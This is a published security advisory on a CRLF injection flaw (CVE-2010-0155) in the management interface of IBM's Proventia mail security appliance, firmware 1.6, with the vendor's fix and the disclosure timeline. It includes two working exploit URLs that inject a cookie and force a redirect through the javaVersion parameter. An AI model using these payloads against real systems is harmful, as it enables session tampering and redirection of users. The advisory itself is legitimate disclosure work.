Security Advisory: MVSA-10-009 / CVE-2010-0155 Vendor: IBM Products: Proventia Network Mail Security System Vulnerabilities: CRLF Injection Risk: Medium Attack Vector: From Remote Authentication: Required Reference: http://www.ventuneac.net/security-advisories/MVSA-10-009 Description Web-based Local Management Interface (LMI) of IBM Proventia Network Mail Security System appliance (firmware 1.6) is vulnerable to a CRLF Injection vulnerability. When exploited by an authenticated attacker, such vulnerability could lead to compromising the security of the appliance, allowing injection of custom HTTP cookies, forcing external redirects, potential HTTP Response Splitting attacks, etc. The affected resource is not part of the IBM PNMSS firmware 2.5. By manipulating the javaVersion parameter of load.php resource, an authenticated attacker can perform the attacks above. The following exploit allows injecting custom cookies used by the client browser during a valid HTTP session: url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion =any%0D%0ASet-cookie: %20MyOwnCookie=SOME_DATA_HERE&javaVendor=Sun%20Microsystems %20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no The following exploit allows forcing external browser redirects: url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion =any%0D%0ALocation: %20http://www.google.com%0D%0A&javaVendor=Sun%20Microsystems %20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no Affected Versions IBM Proventia Network Mail Security System - virtual appliance (firmware 1.6) Mitigation Vendor recommends upgrading to PNMSS firmware 2.5 or later. Alternatively, please contact IBM for technical support. Disclosure Timeline 2009, November 07: Vulnerabilities discovered and documented 2009, November 08: Notification sent to IBM 2009, November 09: IBM acknowledges receiving the report 2010, September 12: MVSA-10-009 advisory published. Credits Dr. Marian Ventuneac http://ventuneac.net